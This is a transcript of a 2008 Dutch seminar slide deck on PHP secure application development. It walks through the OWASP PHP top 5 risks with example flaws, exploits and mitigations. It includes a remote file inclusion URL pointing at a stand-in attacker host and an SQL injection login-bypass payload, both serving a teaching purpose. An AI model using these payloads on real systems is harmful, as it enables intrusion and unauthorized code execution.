php secure application development robert van der linde

35
PHP Secure Application Development Robert van der Linde Vianen, 22 april 2008

Upload: phpseminar

Post on 15-Jul-2015

1.941 views

Category:

Economy & Finance


0 download

TRANSCRIPT

Page 1: Php Secure Application Development   Robert Van Der Linde

PHP Secure Application Development

Robert van der Linde Vianen, 22 april 2008

Page 2: Php Secure Application Development   Robert Van Der Linde

Wie ben ik

• Robert van der Linde

• 5 jaar ervaring met PHP

• Zend Certified Engineer

• Oprichter PaSS-PHP Kerngroep

Page 3: Php Secure Application Development   Robert Van Der Linde

PHP is veilig Ongetrainde ontwikkelaars niet

Page 4: Php Secure Application Development   Robert Van Der Linde

PHP & Secure application development

• PHP legt geen verplichtingen op aan ontwikkelaars

• PHP bevat krachtige componenten die ontwikkelaars kunnen gebruiken om veilige applicaties te ontwikkelen

Page 5: Php Secure Application Development   Robert Van Der Linde

Agenda: Owasp top 5

• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection • File system attacks • PHP Configuration

Page 6: Php Secure Application Development   Robert Van Der Linde

OWASP top 5: Remote Code Exectution

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 7: Php Secure Application Development   Robert Van Der Linde

Remote code execution

• Uitvoeren van arbitraire code door een externe partij

• Hierdoor kan een kwaadwillend persoon eigen code uitvoeren op de server

Page 8: Php Secure Application Development   Robert Van Der Linde

Fout:

http://host.com/index.php?file=contact

Page 9: Php Secure Application Development   Robert Van Der Linde

Exploit

http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt

Myscript.txt.php:

Page 10: Php Secure Application Development   Robert Van Der Linde

Exploit

http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt

Myscript.txt.php:

Page 11: Php Secure Application Development   Robert Van Der Linde

Oplossing

http://host.com/index.php?file=contact

Page 12: Php Secure Application Development   Robert Van Der Linde

Remote code execution

• Voorkomen door: > Input validatie > Voorkomen van arbitraire includes door

switch() of in_array() > Allow_url_fopen: Off > Vermijden van eval() > Whitelisting, geen blacklisting

Page 13: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 14: Php Secure Application Development   Robert Van Der Linde

Cross Site Scripting (XSS)

• Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd

• Dit script kan gebruikt worden om gevoelige gegevens te verkrijgen

Page 15: Php Secure Application Development   Robert Van Der Linde

Voorbeeld

• MySpace • Een gebruiker plaatst een ajax call

op zijn profiel • Deze call voegt de gebruiker toe

als vriend van de huidige bezoeker • Deze call kopieert bovendien deze

code in het profiel van de huidige gebruiker

Page 16: Php Secure Application Development   Robert Van Der Linde

Fout

http://host.com/gb/addmessage.php

Page 17: Php Secure Application Development   Robert Van Der Linde

Exploit

•  Door slechte of geen input validatie de volgende code opslaan en tonen aan een bezoeker

Page 18: Php Secure Application Development   Robert Van Der Linde

Oplossing

http://host.com/gb/addmessage.php

Page 19: Php Secure Application Development   Robert Van Der Linde

Cross Site Scripting

• Voorkomen door: > Alle variabelen initialiseren > Specifieke globals gebruiken zoals

$_POST / $_GET. Geen $_REQUEST > Register_globals UIT! > Input valideren op type, lengte & syntax > Whitelisting, geen blacklisting

Page 20: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 21: Php Secure Application Development   Robert Van Der Linde

SQL Injection

• Door de client aangeleverde data wordt verwerkt door de interpreter die de code ziet als een een SQL query

• Hierdoor kan een aanvaller toegang krijgen tot gevoelige informatie

Page 22: Php Secure Application Development   Robert Van Der Linde

Fout

http://host.com/admin/login.php

Page 23: Php Secure Application Development   Robert Van Der Linde

Exploit

• Aanvaller post: > USER: admin

PASS: test’ OR ‘a’=‘a

• Resulterende query: > SELECT * FROM USERS WHERE username=‘admin’ AND pass=‘test’ OR ‘a’=‘a’

Page 24: Php Secure Application Development   Robert Van Der Linde

Oplossing

Page 25: Php Secure Application Development   Robert Van Der Linde

SQL Injection

• Voorkomen door: > PDO’s prepared statements > mysql_real_escape_string() > Input checking op type, lengte & syntax > Error handling

Page 26: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 27: Php Secure Application Development   Robert Van Der Linde

File system attacks

• Door onder andere slecht afgestelde bestandpermissies kunnen PHP scripts toegang krijgen tot gevoelige informatie

Page 28: Php Secure Application Development   Robert Van Der Linde

Exploit

• Bijvoorbeeld: > Gebruik maken van een shared host > Bestandspermissies en gebruikers/

groepen zijn voor iedere klant hetzelfde > Een kwaadwillende klant kan via het file

system gegevens van andere klanten lezen & bewerken.

Page 29: Php Secure Application Development   Robert Van Der Linde

File system attacks

• Voorkomen door: > Permissies op de server correct in stellen > open_basedir: On > Geuploade bestanden niet toegankelijk

maken > Validatie op user input!

Page 30: Php Secure Application Development   Robert Van Der Linde

OWASP top 5

•  Remote Code Execution •  Cross-site scripting (XSS) •  SQL Injection

•  File system attacks •  PHP Configuration

Page 31: Php Secure Application Development   Robert Van Der Linde

PHP Configuration

• Door slechte configuratie kunnen: > Aanvallers met minder moeite

beveiligingsgaten uitbuiten > Aanvallers meer schade aanrichten

• Standaard is PHP open geconfigureerd

Page 32: Php Secure Application Development   Robert Van Der Linde

PHP Configuration

• Configuratie opties: > register_globals: Off > allow_url_fopen: Off > magic_quotes_gpc: Off > magic_quotes_runtime: Off > safe_mode: On* > open_basedir: On*

*mits goed geconfigureerd

Page 33: Php Secure Application Development   Robert Van Der Linde

Overige kwetsbaarheden

• Hidden fields > Kunnen client side makkelijk bekeken

worden

• Client side validatie > Kan simpel omzeild worden

Page 34: Php Secure Application Development   Robert Van Der Linde

Samenvattend

• Veel exploits komen voor door vertrouwen in een bezoeker • Bezoekers zijn per definitie niet te

vertrouwen • Denk als een aanvaller tijdens het

bouwen • Whitelisting vs blacklisting • PHP Security is een samenwerking

tussen programmeurs en systeembeheer

Page 35: Php Secure Application Development   Robert Van Der Linde

Afsluiting

•  Referenties: > www.owasp.org

OWASP Top Ten OWASP PHP Top 5

•  Contact: [email protected]

•  Boeken:

Essential PHP security Chris Shiflett

php|architect’s Guide to PHP Security

Ilia Alshanetsky